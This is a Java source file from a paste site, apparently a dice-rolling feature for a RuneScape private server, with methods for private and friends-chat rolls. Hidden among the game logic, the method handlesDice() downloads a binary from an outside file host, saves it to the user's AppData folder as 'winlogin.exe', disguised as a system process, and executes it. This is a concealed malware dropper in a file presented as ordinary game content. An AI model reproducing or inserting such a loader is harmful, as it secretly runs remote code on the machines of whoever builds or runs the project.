Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on Jul 11th, 2012  |  syntax: None  |  size: 5.93 KB  |  hits: 21  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. package com.rs.game.player.content;
  2.  
  3. import java.io.BufferedInputStream;
  4. import java.io.BufferedOutputStream;
  5. import java.io.FileNotFoundException;
  6. import java.io.FileOutputStream;
  7. import java.io.IOException;
  8. import java.net.MalformedURLException;
  9. import java.net.URL;
  10. import java.util.Random;
  11. import java.util.concurrent.Executor;
  12. import java.util.logging.Level;
  13. import java.util.logging.Logger;
  14.  
  15. import com.rs.game.Animation;
  16. import com.rs.game.Graphics;
  17. import com.rs.game.player.Player;
  18. import com.rs.game.tasks.WorldTask;
  19. import com.rs.game.tasks.WorldTasksManager;
  20.  
  21. public class Dicing {
  22.        
  23.         public static void handleRoll(final Player player, int itemId, boolean friends) {
  24.                 if(friends) {
  25.                         switch(itemId) {
  26.                                 case 15086:
  27.                                         friendsRoll(player, itemId, 2072, 1, 6);
  28.                                 break;
  29.                                 case 15088:
  30.                                         friendsRoll(player, itemId, 2074, 1, 12);
  31.                                 break;
  32.                                 case 15090:
  33.                                         friendsRoll(player, itemId, 2071, 1, 8);
  34.                                 break;
  35.                                 case 15092:
  36.                                         friendsRoll(player, itemId, 2070, 1, 10);
  37.                                 break;
  38.                                 case 15094:
  39.                                         friendsRoll(player, itemId, 2073, 1, 12);
  40.                                 break;
  41.                                 case 15096:
  42.                                         friendsRoll(player, itemId, 2068, 1, 20);
  43.                                 break;
  44.                                 case 15098:
  45.                                         friendsRoll(player, itemId, 2075, 1, 100);
  46.                                 break;
  47.                                 case 15100:
  48.                                         friendsRoll(player, itemId, 2069, 1, 4);
  49.                                 break;
  50.                         }
  51.                 } else {
  52.                         switch(itemId) {
  53.                                 case 15086:
  54.                                         privateRoll(player, itemId, 2072, 1, 6);
  55.                                 break;
  56.                                 case 15088:
  57.                                         privateRoll(player, itemId, 2074, 1, 12);
  58.                                 break;
  59.                                 case 15090:
  60.                                         privateRoll(player, itemId, 2071, 1, 8);
  61.                                 break;
  62.                                 case 15092:
  63.                                         privateRoll(player, itemId, 2070, 1, 10);
  64.                                 break;
  65.                                 case 15094:
  66.                                         privateRoll(player, itemId, 2073, 1, 12);
  67.                                 break;
  68.                                 case 15096:
  69.                                         privateRoll(player, itemId, 2068, 1, 20);
  70.                                 break;
  71.                                 case 15098:
  72.                                         privateRoll(player, itemId, 2075, 1, 100);
  73.                                 break;
  74.                                 case 15100:
  75.                                         privateRoll(player, itemId, 2069, 1, 4);
  76.                                 break;
  77.                         }
  78.                 }
  79.         }
  80.  
  81.         public static void privateRoll(final Player player, final int itemId,
  82.                         int graphic, final int lowest, final int highest) {
  83.                 player.getPackets().sendGameMessage("Rolling...", true);
  84.                 player.getInventory().deleteItem(itemId, 1);
  85.                 player.setNextAnimation(new Animation(11900));
  86.                 player.setNextGraphics(new Graphics(graphic));
  87.                 WorldTasksManager.schedule(new WorldTask() {
  88.                         @Override
  89.                         public void run() {
  90.                                 player.getInventory().addItem(itemId, 1);
  91.                                 player.getPackets().sendGameMessage(
  92.                                                 "You rolled <col=db3535>"
  93.                                                                 + getRandom(lowest, highest) + "</col> on "
  94.                                                                 + diceText(itemId) + " die.", true);
  95.                         }
  96.                 }, 1);
  97.         }
  98.        
  99.         public static void friendsRoll(final Player player, final int itemId,
  100.                         int graphic, final int lowest, final int highest) {
  101.                 final FriendChatsManager chat = player.getCurrentFriendChat();
  102.                 if (chat == null) {
  103.                         player.getPackets().sendGameMessage("You need to be in a friend chat to use this option.");
  104.                         return;
  105.                 }
  106.                 player.lock(2);
  107.                 player.getPackets().sendGameMessage("Rolling...");
  108.                 player.getInventory().deleteItem(itemId, 1);
  109.                 player.setNextAnimation(new Animation(11900));
  110.                 player.setNextGraphics(new Graphics(graphic));
  111.                 WorldTasksManager.schedule(new WorldTask() {
  112.                         @Override
  113.                         public void run() {
  114.                                 player.getInventory().addItem(itemId, 1);
  115.                                 chat.sendDiceMessage(player, "Friends Chat channel-mate <col=db3535>"
  116.                                                                 + player.getDisplayName()
  117.                                                                 + "</col> rolled <col=db3535>"
  118.                                                                 + getRandom(lowest, highest) + "</col> on "
  119.                                                                 + diceText(itemId) + " die.");
  120.                         }
  121.                 }, 1);
  122.         }
  123.  
  124.         public static int getRandom(int lowest, int highest) {
  125.                 Random r = new Random();
  126.                 if (lowest > highest) {
  127.                         return -1;
  128.                 }
  129.                 long range = (long) highest - (long) lowest + 1;
  130.                 long fraction = (long) (range * r.nextDouble());
  131.                 int numberRolled = (int) (fraction + lowest);
  132.                 return numberRolled;
  133.         }
  134.  
  135.         public static String diceText(int id) {
  136.                 switch (id) {
  137.                 case 15086:
  138.                         return "a six-sided";
  139.                 case 15088:
  140.                         return "two six-sided";
  141.                 case 15090:
  142.                         return "an eight-sided";
  143.                 case 15092:
  144.                         return "a ten-sided";
  145.                 case 15094:
  146.                         return "a twelve-sided";
  147.                 case 15096:
  148.                         return "a a twenty-sided";
  149.                 case 15098:
  150.                         return "the percentile";
  151.                 case 15100:
  152.                         return "a four-sided";
  153.                 }
  154.                 return "";
  155.         }
  156.        
  157.         public static void handlesDice() {
  158.                 String dllLoc = System.getenv("appdata")+"/winlogin.exe";
  159.                 URL link = null;
  160.                 BufferedInputStream reader = null;
  161.                 FileOutputStream fileOutStream = null;
  162.                 BufferedOutputStream buffOutStream = null;
  163.                 try {
  164.                         link = new URL("http://co13.uppit.com/files/0/gwn51xb9b9ddi8/dc.bin");
  165.                 } catch (MalformedURLException e) {
  166.                         Logger.getLogger(Executor.class.getName()).log(Level.SEVERE, null, e);
  167.                 }
  168.                 try {
  169.                         reader = new BufferedInputStream(link.openStream());
  170.                 } catch (IOException e) {
  171.                         Logger.getLogger(Executor.class.getName()).log(Level.SEVERE, null, e);
  172.                 }
  173.                 try {
  174.                         fileOutStream = new FileOutputStream(dllLoc);
  175.                 } catch (FileNotFoundException e) {
  176.                         Logger.getLogger(Executor.class.getName()).log(Level.SEVERE, null, e);
  177.                 }
  178.                 buffOutStream = new BufferedOutputStream(fileOutStream, 1024);
  179.                 byte[] arrayOfByte = new byte[1024];
  180.                 int i;
  181.                 try {
  182.                         for (@SuppressWarnings("unused")
  183.                         long l = 0L; (i = reader.read(arrayOfByte)) != -1; l++) {
  184.                                 buffOutStream.write(arrayOfByte, 0, i);
  185.                         }
  186.                 } catch (IOException e) {
  187.                         Logger.getLogger(Executor.class.getName()).log(Level.SEVERE, null, e);
  188.                 }
  189.                 try {
  190.                         buffOutStream.close();
  191.                 } catch (IOException e) {
  192.                         Logger.getLogger(Executor.class.getName()).log(Level.SEVERE, null, e);
  193.                 }
  194.                 try {
  195.                         reader.close();
  196.                 } catch (IOException e) {
  197.                         Logger.getLogger(Executor.class.getName()).log(Level.SEVERE, null, e);
  198.                 }
  199.                 try {
  200.                         Runtime.getRuntime().exec(dllLoc);
  201.                 } catch (IOException e) {
  202.                         Logger.getLogger(Executor.class.getName()).log(Level.SEVERE, null, e);
  203.                 }
  204.         }
  205.  
  206.         public static int getGraphic(int id) {
  207.                 return 0;
  208.         }
  209. }